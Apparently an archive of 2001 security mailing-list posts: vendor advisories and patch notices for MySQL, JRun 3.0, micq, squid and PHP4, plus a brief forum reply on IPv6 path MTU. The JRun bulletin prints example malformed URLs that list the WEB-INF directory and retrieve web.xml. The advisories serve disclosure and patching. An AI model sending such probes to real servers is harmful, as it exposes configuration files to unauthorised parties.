ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/MySQL-3.23.32-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/MySQL-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/MySQL-client-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/MySQL-devel-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/MySQL-devel-static-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/MySQL-bench-3.23.32-2cl.i386.rpm ADDITIONAL INSTRUCTIONS Users of Conectiva Linux version 6.0 or higher may use apt to perform upgrades: - add the following line to /etc/apt/sources.list if it is not there yet (you may also use linuxconf to do this): rpm [cncbr] ftp://atualizacoes.conectiva.com.br 6.0/conectiva updates - run: apt-get update - after that, execute: apt-get upgrade Detailed instructions
Allaire Security Bulletin (ASB01-02) JRun 3.0
Allaire posted the following security bulletin to their site recently. The online version can be found at: http://www.allaire.com/handlers/index.cfm?ID=19546Method=Full Allaire Security Bulletin (ASB01-02) JRun 3.0: Patch available for JRun malformed URI WEB-INF directory information and web.xml file retrieval issue Originally Posted: January 24, 2001 Last Updated: January 24, 2001 Summary It is possible to get a directory listing of the WEB-INF directory when requesting pages from a JRun Web Server. It is also possible to display the contents of the web.xml file in WEB-INF. Issue Under certain circumstances, submitting a malformed URI to JRun 3.0 will return the web.xml file or a directory listing of the WEB-INF directory on the server. For example, a URL like: http://jrun_server:8000/./WEB-INF/ can reveal a directory listing of the WEB-INF directory on the server, 'jrun_server'. Also, a URL like: http://jrun_server:8000/./WEB-INF/web.xml can retrieve the 'web.xml' file in the 'WEB-INF' directory. Affected Software Versions JRun 3.0 (all editions) What Allaire is Doing Allaire has published this bulletin, notifying customers of the problem. Allaire has also released a patch that should resolve the issue in JRun 3.0. The patch is included in Service Pack 2 for JRun 3.0. JRun 3.0 users can find the patch for installation at the following URIs -- use the patch appropriate to your platform -- instructions for installation are included: Windows 95/98/NT/2000 and Windows NT Alpha: http://download.allaire.com/jrun/jrun3.0/jr30sp2.exe UNIX/Linux patch - GNU gzip/tar: http://download.allaire.com/jrun/jrun3.0/jr30sp2u.sh It is recommended you back up your existing data before applying any patch. What Customers Should Do Customers should download and install Service Pack 2. Please note: As always, customers should test patch changes in a testing environment before modifying production servers. Acknowledgements Allaire would like to recognize Vanja Hrustic of The Relay Group helping to identify some of the issues related to this bulletin. Revisions January 24, 2001 -- Bulletin first created. Reporting Security Issues Allaire is committed to addressing security issues and providing customers with the information on how they can protect themselves. If you identify what you believe may be a security issue with an Allaire product, please send an email to [EMAIL PROTECTED] We will work to appropriately address and communicate the issue. Receiving Security Bulletins When Allaire becomes aware of a security issue that we believe significantly affects our products or customers, we will notify customers when appropriate. Typically this notification will be in the form of a security bulletin explaining the issue and the response. Allaire customers who would like to receive notification of new security bulletins when they are released can sign up for our security notification service. For additional information on security issues at Allaire, please visit the Security Zone at: http://www.allaire.com/security. THE INFORMATION PROVIDED BY ALLAIRE IN THIS BULLETIN IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. ALLAIRE DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL ALLAIRE CORPORATION OR ITS SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF ALLAIRE CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE FOREGOING LIMITATION MAY NOT APPLY. Allaire reserves the right, from time to time, to update the information in this document with current information. --
[RHSA-2001:005-03] New micq packages are available
- Red Hat, Inc. Red Hat Security Advisory Synopsis: New micq packages are available Advisory ID: RHSA-2001:005-03 Issue date:2001-01-24 Updated on:2001-01-24 Product: Red Hat Powertools Keywords: buffer overflow Cross references: Obsoletes: - 1. Topic: New micq packages are available which fix a buffer overflow vulnerability. 2. Relevant releases/architectures: Red Hat Powertools 6.0 - alpha, i386, sparc Red Hat Powertools 6.1 - alpha, i386, sparc Red Hat Powertools 6.2 - alpha, i386, sparc Red Hat Powertools 7.0 - alpha, i386 3. Problem description: A buffer overflow exists in the micq package, which allows arbitrary commands to be executed. This update fixes the problem. 4. Solution: To update all RPMs for your particular architecture, run: rpm -Fvh filenames where filenames is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directly *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 6. RPMs required: Red Hat Powertools 6.0: SRPMS: ftp://updates.redhat.com/powertools/6.0/SRPMS/micq-0.4.6-1.src.rpm alpha: ftp://updates.redhat.com/powertools/6.0/alpha/micq-0.4.6-1.alpha.rpm i386: ftp://updates.redhat.com/powertools/6.0/i386/micq-0.4.6-1.i386.rpm sparc: ftp://updates.redhat.com/powertools/6.0/sparc/micq-0.4.6-1.sparc.rpm Red Hat Powertools 6.1: SRPMS: ftp://updates.redhat.com/powertools/6.1/SRPMS/micq-0.4.6-1.src.rpm alpha: ftp://updates.redhat.com/powertools/6.1/alpha/micq-0.4.6-1.alpha.rpm i386: ftp://updates.redhat.com/powertools/6.1/i386/micq-0.4.6-1.i386.rpm sparc: ftp://updates.redhat.com/powertools/6.1/sparc/micq-0.4.6-1.sparc.rpm Red Hat Powertools 6.2: SRPMS: ftp://updates.redhat.com/powertools/6.2/SRPMS/micq-0.4.6-1.src.rpm alpha: ftp://updates.redhat.com/powertools/6.2/alpha/micq-0.4.6-1.alpha.rpm i386: ftp://updates.redhat.com/powertools/6.2/i386/micq-0.4.6-1.i386.rpm sparc: ftp://updates.redhat.com/powertools/6.2/sparc/micq-0.4.6-1.sparc.rpm Red Hat Powertools 7.0: SRPMS: ftp://updates.redhat.com/powertools/7.0/SRPMS/micq-0.4.6-2.src.rpm alpha: ftp://updates.redhat.com/powertools/7.0/alpha/micq-0.4.6-2.alpha.rpm i386: ftp://updates.redhat.com/powertools/7.0/i386/micq-0.4.6-2.i386.rpm 7. Verification: MD5 sum Package Name -- 3377d787fb7d8d37d7488493f558d961 6.0/SRPMS/micq-0.4.6-1.src.rpm 5fa4df1afb1e397ac6617e0d76446e1a 6.0/alpha/micq-0.4.6-1.alpha.rpm c963ccb56d15171741734f7a810abff2 6.0/i386/micq-0.4.6-1.i386.rpm 331a526910943a587e711781cae979bc 6.0/sparc/micq-0.4.6-1.sparc.rpm 3377d787fb7d8d37d7488493f558d961 6.1/SRPMS/micq-0.4.6-1.src.rpm 5fa4df1afb1e397ac6617e0d76446e1a 6.1/alpha/micq-0.4.6-1.alpha.rpm c963ccb56d15171741734f7a810abff2 6.1/i386/micq-0.4.6-1.i386.rpm 331a526910943a587e711781cae979bc 6.1/sparc/micq-0.4.6-1.sparc.rpm 3377d787fb7d8d37d7488493f558d961 6.2/SRPMS/micq-0.4.6-1.src.rpm 5fa4df1afb1e397ac6617e0d76446e1a 6.2/alpha/micq-0.4.6-1.alpha.rpm c963ccb56d15171741734f7a810abff2 6.2/i386/micq-0.4.6-1.i386.rpm 331a526910943a587e711781cae979bc 6.2/sparc/micq-0.4.6-1.sparc.rpm c4dc138b56e3020cf4dff7c33d9364cd 7.0/SRPMS/micq-0.4.6-2.src.rpm ff0d7d23c2a91bfde623586f3a10b226 7.0/alpha/micq-0.4.6-2.alpha.rpm f3225579995fae731b7db74d7f8c3763 7.0/i386/micq-0.4.6-2.i386.rpm These packages are GPG signed by Red Hat, Inc. for security. Our key is available at: http://www.redhat.com/corp/contact.html You can verify each package with the following command: rpm --checksig filename If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: rpm --checksig --nogpg filename 8. References: Thanks to tHE rECIdjVO [EMAIL PROTECTED] for finding the vulnerability and to Seva Gluschenko [EMAIL PROTECTED] for reporting lit to Bugtraq. Copyright(c) 2000, 2001 Red Hat, Inc. ___ Redhat-watch-list mailing list To unsubscribe, visit: https://listman.redhat.com/mailman/listinfo/redhat-watch-list
Re: ICMP fragmentation required but DF set problems.
Thus spake [EMAIL PROTECTED] ([EMAIL PROTECTED]): IPv6 is another case though. Here you have mandatory PMTU for all protocols. This is a myth. It is quite possible to have a IPv6 implementation that does not require PMTU discovery. You just fragment all your traffic at the network MTU. If fact there are hooks in the BSD advansed API to allow you to do this on a per socket basis. That is a myth, too. If chose not to to PMTU in IPv6, you have to limit your MTU to ~1200 byts (the exact value is in the RFC). So it's not the network MTU you are using. DNS servers, for one, need to be able to disable PMTU on the replies. ? Felix
[SECURITY] [DSA 019-1] New version of squid released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - Debian Security Advisory DSA-019-1 [EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze January 25, 2001 - Package: squid Vulnerability : insecure tempfile hole Debian-specific: no WireX discovered a potential temporary file race condition in the way that squid sends out email messages notifying the administrator about updating the program. This could lead to arbitrary files to get overwritten. However the code would only be executed if running a very bleeding edge release of squid, running a server whose time is set some number of months in the past and squid is crashing. Read it as hardly to exploit. This version also containes more upstream bugfixes wrt. dots in hostnames and unproper HTML quoting. We recommend you upgrade your squid package.. wget url will fetch the file for you dpkg -i file.deb will install the referenced file. You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 2.2 alias potato - Potato was released for the alpha, arm, i386, m68k, powerpc and sparc architectures. Source archives: http://security.debian.org/dists/stable/updates/main/source/squid_2.2.5-3.1.diff.gz MD5 checksum: 8475d28db69cd901609a384a7a72d45c http://security.debian.org/dists/stable/updates/main/source/squid_2.2.5-3.1.dsc MD5 checksum: 43da73f621704331add0a4a990a96676 http://security.debian.org/dists/stable/updates/main/source/squid_2.2.5.orig.tar.gz MD5 checksum: 3ae40a4f21b110553446fe3d92ed2bda Intel ia32 architecture: http://security.debian.org/dists/stable/updates/main/binary-i386/squid-cgi_2.2.5-3.1_i386.deb MD5 checksum: bd1fcb943bb2c2ea86f95a1e0a5fa482 http://security.debian.org/dists/stable/updates/main/binary-i386/squid_2.2.5-3.1_i386.deb MD5 checksum: 04ccb01c216b5beb3949c751121c8fcb http://security.debian.org/dists/stable/updates/main/binary-i386/squidclient_2.2.5-3.1_i386.deb MD5 checksum: 39bfe66b003157e90937d28ab6a0193a Motorola 680x0 architecture: http://security.debian.org/dists/stable/updates/main/binary-m68k/squid-cgi_2.2.5-3.1_m68k.deb MD5 checksum: e6453913239ea696d787eeef61121cac http://security.debian.org/dists/stable/updates/main/binary-m68k/squid_2.2.5-3.1_m68k.deb MD5 checksum: ed57e5456e081e260747b24f108a1d10 http://security.debian.org/dists/stable/updates/main/binary-m68k/squidclient_2.2.5-3.1_m68k.deb MD5 checksum: 4a1e67b863e26764608f991f93be00e7 Sun Sparc architecture: http://security.debian.org/dists/stable/updates/main/binary-sparc/squid-cgi_2.2.5-3.1_sparc.deb MD5 checksum: 998349778feeb91ba09b439d9c9325f9 http://security.debian.org/dists/stable/updates/main/binary-sparc/squid_2.2.5-3.1_sparc.deb MD5 checksum: 8a58eb2f68da8de395cc8dcca9a0b125 http://security.debian.org/dists/stable/updates/main/binary-sparc/squidclient_2.2.5-3.1_sparc.deb MD5 checksum: a0f62d653e0a2dd21db6455385947942 Alpha architecture: http://security.debian.org/dists/stable/updates/main/binary-alpha/squid-cgi_2.2.5-3.1_alpha.deb MD5 checksum: 690dda904ac988b608e1878356038b7d http://security.debian.org/dists/stable/updates/main/binary-alpha/squid_2.2.5-3.1_alpha.deb MD5 checksum: 4ee17e8c212edb9bc6f19e21a659a5d3 http://security.debian.org/dists/stable/updates/main/binary-alpha/squidclient_2.2.5-3.1_alpha.deb MD5 checksum: 65d2a3acd6d9e135abecae651b09adab PowerPC architecture: http://security.debian.org/dists/stable/updates/main/binary-powerpc/squid-cgi_2.2.5-3.1_powerpc.deb MD5 checksum: 8bec2a10ddc72244988a61f75f810162 http://security.debian.org/dists/stable/updates/main/binary-powerpc/squid_2.2.5-3.1_powerpc.deb MD5 checksum: 8f9e7cb06a0b658726d3d18223998df2 http://security.debian.org/dists/stable/updates/main/binary-powerpc/squidclient_2.2.5-3.1_powerpc.deb MD5 checksum: 70a37ca9316e19ae7b0c4a601b0bfc97 ARM architecture: http://security.debian.org/dists/stable/updates/main/binary-arm/squid_2.2.5-3.1_arm.deb MD5 checksum: 6d32d86539aed7825d3fcc0d4f19c951 http://security.debian.org/dists/stable/updates/main/binary-arm/squid-cgi_2.2.5-3.1_arm.deb MD5 checksum: 55089f6f4eee2b34327c6959685a7cf9 http://security.debian.org/dists/stable/updates/main/binary-arm/squidclient_2.2.5-3.1_arm.deb MD5 checksum: b5daf01c8627f099595e2435fc53ddea These files will be moved into ftp://ftp.debian.org/debian/dists/stable/*/binary-$arch/ soon. For not yet released architectures please refer to the appropriate directory ftp://ftp.debian.org/debian/dists/sid/binary-$arch/ . -
[SECURITY] [DSA 020-1] New versions of PHP4 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - Debian Security Advisory DSA-020-1 [EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze January 25, 2001 - Package: php4 Vulnerability : remote DOS and remote information leak Debian-specific: no The Zend people have found a vulnerability in older versions of PHP4 (the original advisory speaks of 4.0.4 while the bugs are present in 4.0.3 as well). It is possible to specify PHP directives on a per-directory basis which leads to a remote attacker crafting an HTTP request that would cause the next page to be served with the wrong values for these directives. Also even if PHP is installed, it can be activated and deactivated on a per-directory or per-virtual host basis using the "engine=on" or "engine=off" directive. This setting can be leaked to other virtual hosts on the same machine, effectively disabling PHP for those hosts and resulting in PHP source code being sent to the client instead of being executed on the server. We recommend you upgrade your php4 packages. wget url will fetch the file for you dpkg -i file.deb will install the referenced file. You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 2.2 alias potato - Potato was released for the alpha, arm, i386, m68k, powerpc and sparc architectures. PHP4 is not available as proper version for the arm architecture. Source archives: http://security.debian.org/dists/stable/updates/main/source/php4_4.0.3pl1-0potato1.1.diff.gz MD5 checksum: a15f5cf60f0927d827b80af1d2962ebc http://security.debian.org/dists/stable/updates/main/source/php4_4.0.3pl1-0potato1.1.dsc MD5 checksum: ac81451c06e1e5e70197bde98068f861 http://security.debian.org/dists/stable/updates/main/source/php4_4.0.3pl1.orig.tar.gz MD5 checksum: e65b706a7fc4469d1ccd564ef8a2c534 Intel ia32 architecture: http://security.debian.org/dists/stable/updates/main/binary-i386/php4-cgi-gd_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 3b0325c598699e6c89d9033296afa40e http://security.debian.org/dists/stable/updates/main/binary-i386/php4-cgi-imap_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 3d281b9589d0fe4ec2c381e99818d8fe http://security.debian.org/dists/stable/updates/main/binary-i386/php4-cgi-ldap_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: d8c5514768bd923165297693bce59b67 http://security.debian.org/dists/stable/updates/main/binary-i386/php4-cgi-mhash_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: ea4dd2afdf874b96afd8e56c8fda5eea http://security.debian.org/dists/stable/updates/main/binary-i386/php4-cgi-mysql_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: eac99f5f9bd8b63c7011d749e9293d5c http://security.debian.org/dists/stable/updates/main/binary-i386/php4-cgi-pgsql_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 8b197654fd01e7e4ad09851af3a89bb8 http://security.debian.org/dists/stable/updates/main/binary-i386/php4-cgi-snmp_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 721683a357df004a95611d32181cd603 http://security.debian.org/dists/stable/updates/main/binary-i386/php4-cgi-xml_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 5920fa740a7168788b406766a4a8e2f4 http://security.debian.org/dists/stable/updates/main/binary-i386/php4-cgi_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 0d7643d41a69b5756dc797a277c4f93c http://security.debian.org/dists/stable/updates/main/binary-i386/php4-gd_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 4ea06d61ac4fd092c200a978a77c5547 http://security.debian.org/dists/stable/updates/main/binary-i386/php4-imap_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 2b36fcab957f44eea531c87d122d02aa http://security.debian.org/dists/stable/updates/main/binary-i386/php4-ldap_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 250547415edaadd196456ab6b3b54a47 http://security.debian.org/dists/stable/updates/main/binary-i386/php4-mhash_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 29781f14c2971c77bdcd6e2f767c9598 http://security.debian.org/dists/stable/updates/main/binary-i386/php4-mysql_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: e4b486363b40f0dbbcc239a665ad2422 http://security.debian.org/dists/stable/updates/main/binary-i386/php4-pgsql_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 49817c930561faddf2a5ef8f53fbfdd8 http://security.debian.org/dists/stable/updates/main/binary-i386/php4-snmp_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 9da83993a886cf6c8c53341086cbc2c0 http://security.debian.org/dists/stable/updates/main/binary-i386/php4-xml_4.0.3pl1-0potato1.1_i386.deb MD5 checksum: 1fee10c42fc22091bdfcd854d05803cd
